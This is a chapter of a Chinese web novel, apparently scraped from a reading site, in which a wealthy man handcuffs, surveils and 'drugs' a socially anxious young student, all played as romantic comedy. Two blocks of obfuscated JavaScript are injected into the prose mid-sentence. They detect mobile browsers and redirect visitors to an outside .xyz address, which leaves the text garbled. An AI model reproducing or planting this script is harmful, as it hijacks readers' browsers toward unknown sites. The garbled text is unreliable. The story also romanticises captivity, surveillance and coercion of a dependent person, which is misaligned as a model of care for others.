“用不用……”管家试探性问道,“把小少爷也喊下来一起吃饭?” 顾熠阑道:“不用。” 管家努力地感受着老板的情绪,猜想老板应该是在乎、但没有那么在乎的心思。 于是他朝老板保证道:“佣人送餐的餐量绝对够小少爷吃的。而且菜小少爷应该也是喜欢的,我每次过去,他都吃得挺开心。” 他猜想老板应该会表扬他做事做得不错,但却见顾熠阑挑了挑眉梢,道:“开心?” “今天晚上不用给他送了。” 管家:??? 又猜错了。他很懵。 顾熠阑打开微信,用命令的口吻给苏泽岁发了一条微信—— 【一十一维:下来和我吃饭。】 管家站在原地,就见老板放下手机后,没过几分钟,楼梯转角处就出现了一个皮肤白到发光的少年,蹦蹦跳跳从楼上跑下来了。 少年脸色红润,长睫扑闪,浓密得像蝴蝶的翅膀。 他小跑了过来,自然地坐在了顾熠阑身边,然后微微开柔软的唇瓣,眼眸发光地看着满桌的美味—— 有他最爱吃的糖醋排骨! “谢谢。”苏泽岁微微歪头,捂住小嘴,小声地跟顾熠阑说着。像是上课偷偷说话的同桌俩。 顾熠阑:“……” 看老板那骤然沉下的眸光,管家怀疑他可能在想,现在把少年赶回去还来不来及…… 苏泽岁对沉默的氛围毫无感知,拿起筷子就准备开心吃饭。 但他有个从小养成的“先苦后甜”的坏习惯。 在他三岁的时候,父母车祸身亡,哥哥也还只是个十岁出头的孩子。那段日子里,他们寄居人下,四处奔波,连饭都吃不饱。 少有的一些吃的,也都是小孩子很不爱吃的干米饭、白菜土豆。 但不吃饭,就没法活下去。 所以苏泽岁喜欢先把不爱吃的东西吃完,这样还有个盼头—— 再吃一点,再吃一点就能吃最爱的东西啦。 这个坏习惯跟了他很多年,尽管后来不缺吃喝,也没改掉。 就比如现在,虽然他最爱吃糖醋排骨,但他却一块也没夹,而是在排骨周围的菜上打转——烂菜叶子吃一点,烂土豆片子吃一点,烂豆腐渣子吃一点…… 顾熠阑也注意到了少年的动作。 小家伙不挑食,什么都吃,除了那道糖醋排骨,似乎很排斥。 顾熠阑眉梢轻抬了下,端起那道甜腻的菜,“啪”地放在苏泽岁面前,口吻强硬、不容置喙地道:“吃了。” 他话音刚落,少年就猛地抬头看向他,满脸难以置信。 顾熠阑凌厉的黑眸扫过少年惊讶的小脸,薄唇勾起了一个恶劣的弧度,用下巴指了指少年面前的菜,嗓音淡淡道:“看我做什么?吃吧。” ……日程控制、服装控制、饮食控制。再然后呢? 苏泽岁握着筷子的手下意识攥了攥。 但看着面前的一盘色泽诱人、肉香扑鼻的糖醋排骨,他还是抵御不住诱惑,小心翼翼夹了一块,放到了自己的嘴里。 然后,他诧异地发现,当被一个人强迫着必须吃掉好吃的食物时,他心底里那些不知所起的愧疚、担忧、未雨绸缪等负面情绪,都消失得无影无踪。 只剩下一个眼前的目标——他要吃完。 于是心魔消散,这块糖醋排骨,成了他吃过的最好吃的糖醋排骨。 苏泽岁眼眶有点酸酸的,他掏出手机,点开和顾熠阑的聊天框。 为了彰显诚意,这回他甚至没有复制粘贴,而是一个字一个字自己手打的。 但是顾熠阑在进餐时从不看消息,手机也开了免打扰。 他一条消息发过去,毫无水花。 苏泽岁鼓着脸颊,一边一口一口嚼着肉,一边转动小脑筋,思考了一会。 片刻后,他灵机一动,像是想到了什么。 他努力在脑海中回想以前看到过的《社恐脱敏训练视频》——以第一视角直直面对五人,在五人面前又唱又跳,那五个人目不转睛看着他,却不为所动,甚至嘴角抽搐、有些嫌弃…… 不到十秒,顾熠阑放在桌上的手机就“滴滴滴”响了三声。 男人眉头微微蹙起,先是瞥了他一眼,然后才拿起手机,看着那飙到异常高的心率监测结果。 “这么兴奋?” 顾熠阑还没来得及再说两句,就看到了那条弹出的微信未读消息—— 【(o^^o):你再这样下去,我可能真的会爱上你哦。】 顾熠阑:“………………” 他眸色沉了沉,掀起眼皮看向苏泽岁。 这条微信语气轻佻而俏皮,但少年单纯的小脸上却没有什么表情,正在一口口专心地吃肉。那浓密的睫毛在他眼底投下阴影,衬得多了一份稚气。 顾熠阑放下手中的筷子,靠在餐椅背上,双手环抱胸前,声音散漫中多了一丝阴戾道:“喜欢吃?那就全吃了。” “吃不完不准上楼。” 男人漠然的目光存在感极强地投下,带着监视的意味。 苏泽岁觉得男人可能是被自己的“高情商回复”给打动了,宁愿自己一块儿不吃,也要让高情商的人吃饱肉肉。 他不敢懈怠,拿起筷子就埋头苦吃起来。 他饭量很小,到了后来,实在肚子鼓鼓,吃不下了。 但不知怎么的,他的手却停不下筷子,撑得不行,还在想着“再吃一块吧最后一块”。 最后,他被身旁的男人直接夺走了筷子。 顾熠阑神情复杂,把筷子随手丢在桌面上,眼神示意管家把菜都撤了,然后才转头看向他,下巴一抬:“回去写作业吧。” 这短暂的一停顿,苏泽岁才从难以控制的进食状态中脱离出来。 回顾刚才的失控,只能用一句话来形容—— 痛,并快乐着。 他乖巧又满足地点了点头,接过管家叔叔递来的纸,擦擦小嘴,一溜烟往楼上跑去。 他还想再去研究研究顾熠阑朋友圈里的那篇文献。 顾熠阑坐在原位,回想着刚才少年面无表情往自己嘴里塞着肉,脸颊鼓起,吃到反胃,还是不停下动作的样子。他本就暗沉的眸光,此刻更是冷得像淬了冰。 “小少爷真听您的话,您明明只是吓唬吓唬他,他却……” 顾熠阑一个眼神,拍马屁又拍到马腿上的管家就瞬间闭上了嘴。 明明男人也只吃了一点晚饭,但却看上去毫无食欲,他站起身,视线落在不远处的虚无之处,几秒后,才抬脚朝二楼走去。 管家给佣人发完信息让收拾桌面,就急忙追了上去。 顾熠阑坐在书房宽大的书桌前。 他掏出手机,打开A乎,再次回到了苏泽岁的那个帖子里。 他倒要看看,少年那么多奇奇怪怪、不知所云的话,是从哪里学来的。 短短两天过去,这个求助帖居然已经被顶成了“HOT”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14254277|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多人在下面出谋划策。 顾熠阑大致扫了眼话题楼前排。 然后就看到了一个教少年爬上他的床、生米煮成熟饭的。 顾熠阑:“……” 他冷着脸戳开这条回答,然后点击“举报”。 但帖子里妖魔鬼怪太多,有悄悄向少年伸出勾搭小手的猥琐男,有尽出歪门邪道偏方怪方少儿不宜手段的猥琐男,还有借题发挥大吹特吹自己追男朋友经历的猥琐男…… 简直是群魔乱舞。 顾熠阑瞥了眼身旁的管家,语气冰冷:“给我找一个最严的审核,审这个帖子。” 作为顾熠阑的专属管家,凭借老板的面子,管家自然也有许多人脉资源可以调动。 得令,他紧急从绿江文学城调了一个专审人员出来,又通过关系拿到A乎内部管理账号,对顾老板提供的帖子进行大刀阔斧的审核。 五分钟后,帖子干净了不少,也单薄了不少,几乎看不见什么回复了。 此事基本毕了,管家这才微微躬身,像是在诉说什么秘密般,轻声道:“顾先生,你有没有觉得小少爷情绪感知能力有点弱?” 听到这话,顾熠阑将视线从手机上抬起,挑眉看向他,似乎默许了他接着往下说。 管家托了托下巴,故作凝思状,语重心长道:“我认为,顾先生应该采取更加激进的方式,这样才能在短时间内取得显著效果。” 顾熠阑眉梢挑起的弧度更大了。极为罕见的,他表现出了一丝兴趣。 这一丝微不可察的兴趣就足以让管家兴奋。 因为这意味着自己的脑回路难得地和老板对上了。 管家一边自信地想着自己的计划,一边拿出了一份文件,双手递了上去:“这是我为您准备的事半功倍万能妙招,效果肯定会立竿见影的。” 顾熠阑接过文件,垂眸一看—— A4纸上满满一页,列着数条打印下来的语录,以及……备注。 1.不允许闭眼。看着我,我要把你一道一道捆起来。(冷冷地笑) 2.这是怎么了?就这么离不开我吗?(眼神戏谑、贱兮兮) 3.乖宝宝,知道怎么做了吧?再做错是会有惩罚的。(邪魅一笑) …… 页面右下角,还有一行没有去除的水印。 Exclusively provided by a professional dirty talk training website. ——由专业dirty talk 教学网址独家提供。 顾熠阑:“…………” 最该被拖进小黑屋的人就在他身边。 管家似乎从自家老板的眼神中看到了一丝杀气,他硬着头皮,苍白地说明:“很好用。” 顾熠阑手指握紧,在雪白的纸张上留下了深刻的褶皱。 管家见状,心道不好,急忙转移话题:“顾、顾先生,时间差不多了。是不是该去给苏小少爷膝盖上药了?您忙了一天了,我今天也一直没得空去他房里看他……” 他话音还没落,身边突然传来“沙沙”的纸声,他的“事半功倍万能妙招”被揉成了纸团,冰冷地丢在地上。 管家心下一惊,汗毛瞬间倒立。 平日里,无论学业事业,无论发生了多么令人发指的事,顾熠阑始终波澜不惊,是团队里的定海神针。仿佛世界上没有任何能让他情绪波动的事。 管家万万没想到,这件事能让老板那么生气。 但紧接着,他就听见不远处悠悠地飘来一句压着嗓音的话:“你一天没去他房里?” “那他晚上是怎么下楼的?” 顾熠阑声音不重,却压得很沉,里面清晰可闻藏不住的翻涌戾气,不带一丝温度,能让最冷静的人后背发凉。 管家一愣。 被顾熠阑一提醒,他才反应过来—— 手铐钥匙他和老板一人一把。 晚餐时他们都在餐桌旁,被铐着的小少爷是怎么自己从楼上开开心心地跑下来的? 17.不信 管家下意识摸向了自己的口袋,里面的手铐钥匙还在。 平时,他会在睡前把钥匙给苏泽岁,方便少年换衣服,但第二天早上就会收回。 偶尔的,他怕少年闷着,会把小家伙放出来玩一会。比如今天中午。 但如果说,他中午把少年送回房后,就再没去过……那显然不可能是他把苏泽岁放出来,让少年恢复自由身、在二楼玩的。 那么苏泽岁是怎么自己挣脱手铐、跑出来的呢? 就在管家百思不得其解的时候,顾熠阑倏然站起。 男人漆黑的双眸中映着隐约的血红色,下颌线微微绷紧,浑身戾气,像个前去索命的地狱修罗,朝书房门外走去。 管家大惊失色,急忙跑着跟上。 他跟了顾熠阑许多年,非常清楚男人的脾性以及底线。 对顾熠阑而言,这个世界最难容忍的,就是失控的人、失控的事。他会用尽一切手段,去达成自己的目的,直到所有东西都在掌控之内。 上一次男人遇到失控的事,整个局面被他恶意折腾得混杂着尖叫、对峙、疯魔。血腥味在空中弥漫,挥之不去,叫人喘不上来气。 极端癫狂变态的场景,和过分冷静的顾熠阑。 那场面,管家这辈子都不愿再面对。 他在心里给苏泽岁捏了一把汗,忍不住替小少年说话:“顾先生,我觉得这其中可能有什么误会……” 顾熠阑充耳不闻,站在侧卧门前,手按在指纹锁上,甚至连进入人数都没输入,就猛然推开了少年的房门。 此时此刻,苏泽岁正坐在书桌前,在手机上啪啪啪地打字。 他正研究着翻译软件呢,噩耗就从天而降——哥哥告诉他,明天学校竞赛组会安排人员给他送“竞赛须知”,还要当场签诚信协议。 他正在负隅顽抗。 听到开门声,苏泽岁一脸茫然地朝门口望来。 顺着回头的动作,他白皙的手腕清晰地暴露在门口两人的视线中,上面空空的,只有一个监测心率的手环。而细长冰冷的铁链不知所踪。 管家心下一沉。 他视线暗中扫了一下,就瞥到了房间中央那鼓起一坨被子的床铺。 从少年手腕上不知去处的深寒手铐,就被丢在被褥上,透露出一股随意的味道。 少年他、他不会真是人前装乖巧,人后潇洒自由吧? 在这种充满疑惑点的时候,顾熠阑仍能面上沉稳自若。他走到少年身前,居高临下的地看着对方。无端沉重的压迫感就这么轻轻落下。 顾熠阑沉暗的视线扫过少年的手腕,不动声色地问:“为什么不戴手铐?” 原本呆呆望着他的苏泽岁一愣,第一反应是低头看见自己的双手手腕。 ——真的没有手铐。 “写作业,”苏泽岁怯生生地小声道,“忘了。” 因为走的是物竞的路,上大学后又专注学术,他性格上带了些执着、坚韧和热爱学术的底色,遇到不懂的东西,会想法设法弄懂。 自从早上看到顾熠阑分享的那篇大物文献开始,他一回到房间,就迫不及待、废寝忘食地钻研。竟然忘了把手铐铐好。 听到少年的话,管家松了一口气。 原来只是写作业写忘了。不是动小心思、偷偷在枕头下面藏了一把钥匙就好。 顾熠阑蹙起的眉头微微展开,下巴一抬,漠然地示意少年自己过去戴上。 苏泽岁站起身,小跑着跑到床边,拿起中午丢在床上的手铐。 在这个千钧一发的时候,他才悲伤地发现,中午走得太过匆忙,不小心把手铐铐上了。现在,上面锁铐已然咬合,没有钥匙就打不开。 苏泽岁拎着手铐,无措地站在原地,小脑筋疯狂运转。 不远处,是顾熠阑略带审视的目光,以及管家叔叔期许的视线。 苏泽岁犹豫地拿起手铐,伸着小手,往里面塞了塞。 他肌肤温软,再加上本就手腕纤细,没费多少力气,就“咔”地将手轻松地锁回到了手铐里。 他试了试锁链另一端的牢靠程度,然后抬头看向门口的两人,眼眸亮亮的。 顾熠阑:…… 管家:!!!? 你这、你这还不如偷偷藏了把钥匙呢! 管家悄悄地瞥着老板的神情,却只见顾熠阑黑眸深沉,盯着苏泽岁手腕上的圈铐,指腹摩挲着,不知道在想什么。 片刻后,男人突然毫无征兆地转身,朝着房门外大步走去。只留下苏泽岁和管家站在房内,面面相觑。 侧卧的空气瞬间沉默,管家嘴角抽搐,却又不知道该说些什么。甚至不知道该先追上老板,还是该先安抚下一脸懵圈的少年。 就这么尴尬地度过了两分钟,顾熠阑才终于回来了。 他把一个玻璃杯“磕”在书桌上,朝少年一扬下巴:“喝了。” 玻璃杯是全透明的,可以清晰地看到里面纯白的液体,不粘稠,不像牛奶,倒像是在水里加了什么白色粉末,然后化成的液体。 “这、这是什么?”管家不禁替少年担心。 “控制药物。”顾熠阑语气淡淡道,不听内容,还以为他说的是“早上好”。 管家后背一凉,刚想劝说,就对上了顾熠阑缓缓瞥来的、冷得淬冰的视线。 他抖了抖,还是不忍心地转过了头,打算少年一口吐白沫倒地,他就打救护电话。 不明液体颜色奇怪,名称更是唬人,好像喝完后就会变成没有自己思想的木头。 但凡是个正常人,都会如临大敌、战战兢兢地看着它。然后,整个局面就会变得弥漫起火药味,充满锋利对峙意味,像个一触即发的大战。 但苏泽岁却丝毫不察。 在他看来,男人只是希望自己被控制,所以出门端了杯自己喝了就会被控制的饮品,逻辑很通顺。 他对被控制没有什么排斥,最好能控制他永远不出门。 只是,不知道面前色泽奇怪的液体好不好喝。 苏泽岁拖着锁链,顶着顾熠阑的视线,慢慢地挪到书桌旁,双手抱起了杯子。 他眼睫乖巧地垂下,小口小口地喝着不明液体,视线还时不时往顾熠阑身上瞥,像是在说:好了吗?还要喝吗? 于是,整个场面就变成了甚至看上去有些温馨的、小少年喝水画面。 管家:。 有时候真挺佩服小少爷的控场能力的,简直和顾老板不相上下。两人将房间里的画风拉过来推过去的。 其实杯子中的液体没有什么味道,喝上去和水差不多。不好喝,但也能喝。 但苏泽岁晚上刚吃完大半盘糖醋排骨,撑得不行,现在没喝半杯,就实在喝不下了。 他把杯子放在桌上,捂住自己已经有些鼓起来的肚子,舔了舔小虎牙,这才感觉到口腔里蔓延开来一丝极淡的牛奶味。 苏泽岁看向顾熠阑:“喝不下。” 他话音还没落,男人就突然朝向他走了一步。 他们俩之间的距离猛然拉近了许多。 苏泽岁甚至能感受到对方身上炙热的体温,以及那幽幽投下的、存在感极强的视线。 他愣了一秒,然后才后知后觉地往后退了半步。 紧接着,他听见对方嗓音带着戾气地道:“你不相信?” 苏泽岁没听懂,他到现在都没理清男人为什么要到他房间里来。 是突然想跟他结婚,所以终于要开始控制他了吗? “你不相信我会真正控制你。” 男人眯了眯黑眸,再度开口,原本的疑问句已经自然转换成了陈述句,语气依旧稳稳的,带着洞察一切的掌控感。 苏泽岁相信,他还很期待。 但他不知该作何反应,摇了摇头,感觉不对,于是又点了点头。 顾熠阑:“……” “想看看你每天过得怎么样吗?” 苏泽岁刚不解地皱了皱小脸,一只骨节分明的大手就将手机放到了他的眼底。 面前的手机屏幕上,正是在房间里一边写作业、一边快乐吃薯片的他。图片右下角还印着准确的日期和时间,应该是监控截图。 顾熠阑面无表情地双击了下屏幕,返回相册预览。 那一瞬间,无数监控录像映入苏泽岁的眼底。 从八年前开始,直到现在,每一年,每一月,每一天,这个房子每个房间的监控,密密麻麻的,看不到头。 “想看哪天的?”顾熠阑的声音甚至带上了一丝笑意,听上去让人发怵。 苏泽岁思考了一下,小手轻轻地在在近三天的时间里翻找着,最后点开了某张自己坐在监控下,鼓着脸颊吃饭的照片。 在一旁的管家擦了擦额间的冷汗。 他终于看出来了,顾老板这是在带着刺儿地试探苏小少爷,看他到底相不相信自己会不择手段地控制他。 而苏小少爷实力强劲,抖m属性大爆发,一一接招,冷静得不像是他这个年龄段的人。 顾熠阑收回手机,把这张图片通过微信发给了少年。 作为监控录像截图,这张照片颜色暗沉,画面略显扭曲,是那种本人在晚上看到都会吓得睡不着觉的程度。 但苏泽岁很开心。 这是第一次有人主动给他发他的照片。 他最近学习了很多东西,知道收到了礼物,就该给对方也提供情绪价值。这叫“有来有回”。 他在收藏夹里翻了翻,找了句合适的话发了过去—— 【(o^^o):谢谢。今天本来有点累,但是看到你就充满了动力。】 顾熠阑:………… 男人收起手机,用钥匙把他手上的手铐解开,“啪”地丢在不远处:“以后不用戴手铐了,大门没有上锁。你可以试试,能不能离开这个房子。” 苏泽岁对了对手指,礼貌地“哦”了一声,表示自己听到了。 但他不想出门,他只想缩在小房间的小角落快乐地吃薯片里。 “三天时间里,只要你成功离开且不被我发现,我可以实现你一个愿望。”顾熠阑压着眉梢,冷冷道,“任何愿望。” 闻言,苏泽岁这才猛地抬头,看向男人,软唇微张,重复道:“任何?” 顾熠阑闷闷“嗯”了一声。 苏泽岁心跳如鼓噪,忍不住用小手捂了捂胸口。 离开这个房子很难,但奖励却很诱人。 如果真的能完成,就不用曲线救国苦读《社交带师的自我修养》了,就可以直接许愿“和顾熠阑结婚”啦。 顾熠阑又道:“我很忙,你只有一次逃跑的机会。被我发现了,会有惩罚。” 苏泽岁想到那个录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262975|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音笔,急忙点头。 顾熠阑见他了然,转身抬脚,离开了侧卧。 管家明白了老板的意思。 既然手铐、控制药物、监控录像都唬不住少年,那就让真正密不透风、让人喘不过来气的囚笼困住少年,用实际行动,戳破少年不切实际的“不相信”。 管家不担心这样不留一丝余地的掌控手段,会不会让少年精神崩溃。 他觉得抖m小少年应该会被爽到。 *** 翌日,更诱人的目标出现,苏泽岁果断放弃了学术热爱,不再执着于攻破顾熠阑的朋友圈了。 但是,机不可失时不再来。 顾熠阑的朋友圈设置了三天可见,现在不发,以后就没机会了。从哪个角度来看,他都该在下面发一句“高情商发言”,哪怕是胡乱一句。 于是,苏泽岁戳开A乎,重新打开了求助帖。 可里面原本写满了干货内容的帖子,现在却空空如也。苏泽岁软唇微张,难以置信地又刷新了几遍,但界面始终毫无变化。 真的不见了,天塌了…… 哪、哪个坏人干的? 折腾了一阵,毫无效果,苏泽岁只能重新发了一个求助帖,把晦涩的论文截图放了上去,求助网友该如何鉴赏。 但这种科研前沿的文献,没人能看懂,话题度很低,少有的几个评论都是在玩抽象。 苏泽岁不太懂抽象,但死马当成活马医,挑了个他认为看上去最有意思的评论,复制粘贴到了男人的朋友圈。 ——【(o^^o):那一晚,英语和物理都喝醉了】 刚发完这条“朋友圈特别的回应”,苏铭宇的消息就来了—— 【哥哥:我把顾熠阑家地址发他了,他说现在到楼下了,你去签收一下】 苏泽岁气鼓鼓地瞪着这条消息。 昨晚,他光顾着畅想婚后的宅家生活了,忘记和哥哥接着对线了。 【(o^^o):不】 【哥哥:不要磨叽,快去】 有种压迫感叫作“来自哥哥的血脉压制”。 苏泽岁没有办法,站起身,深吸一口气,推开房门,猫猫祟祟地往房门外望了望。确认外面没人后,他一溜烟跑到了大门口。 苏泽岁踮起脚尖,从猫眼处往外看了看。 果然有个青年男人拿着份文书站在门口。 他找到哥哥发给他的手机号码,发送信息—— 【叔叔,放门口,我寄学校。】 他不敢跟陌生人面对面说话。 苏泽岁继续盯着猫眼,看见对方弯腰将文书放在了地上。 他松了一口气,在心中默数五秒,觉得不够,又数了十秒,才打开大门。 然后就和门口的青年男人来了个面对面对视。 苏泽岁:! 这位青年男人,正是当初跟苏父对接的A市一中物理竞赛组组长。 弄竞赛的人,骨子里总是或多或少地带着些不畏强权、衷心学术的脱离世俗感。 他今天来,不仅仅是听从姜主任的话送文书的。更重要的是,他要当面劝说苏泽岁放弃校赛,给其他自初中起就苦练竞赛、但家境一般的人一个机会。 “咳咳。”青年男人清了清嗓子。 他知道很多富家子弟习惯了用鼻孔看人,所以他打算在第一句话就给对方一个下马威。至少挫一挫他的锐气,让他知道在学术界,人外有人,天外有天。 但他刚要开口,就见少年猛地一抖,双膝一软,似乎已经有些站不稳了。 组长懵了,下意识抬手去扶少年。 陌生的触碰是比陌生的视线更为可怕的生物。 苏泽岁已然认出了面前之人就是曾经骂过他的组长。 他触电般倏然收回自己的手,踉跄着往后退了两步,声音不受控制地发颤:“不、不……” 不要碰我,不要过来。 组长:? 不什么?我还什么也没干啊??! …… 不远处,玄关过后的转角。 管家站在转角视线死角,尽管什么都看不见,但听到少年呜咽的声音,还是忍不住心疼又生气。 他们全房佣人当个宝儿的老板未婚妻,怎么还被外人欺负上了? 由于房门的红外线感应系统,少年一出门,房间人数自动监测系统就有显示。所以,他和顾老板在第一时间就知道了少年下楼了。 本以为小少年是开始逃跑行动了,结果居然是收快递。 快递员还这么不要脸,把小孩欺负得快哭了。 管家想撸起袖子,出去看看到底怎么个事,但奈何身边的老板却始终四平八稳、纹丝不动,面上也看不出什么倾向。 顾熠阑身形高挑,又站在稍微不那么死角的位置,他微微侧头,视线越过转角,一动不动地看着远处发抖的少年,黑眸中翻涌着浓稠的情绪。 “顾先生,你在想什么?”管家不禁问道。 在想什么?怎么还不替未婚妻出头。 顾熠阑眯了眯眼,收回视线,低头摩挲了一下指腹的茧子,沉着嗓音道:“我在想……” 男人的话音稍微顿了一下,似乎在思索着什么。 片刻后,他才挑了挑眉梢,像是在诉说什么诅咒,轻飘飘地继续幽声道:“他是不是怕人。”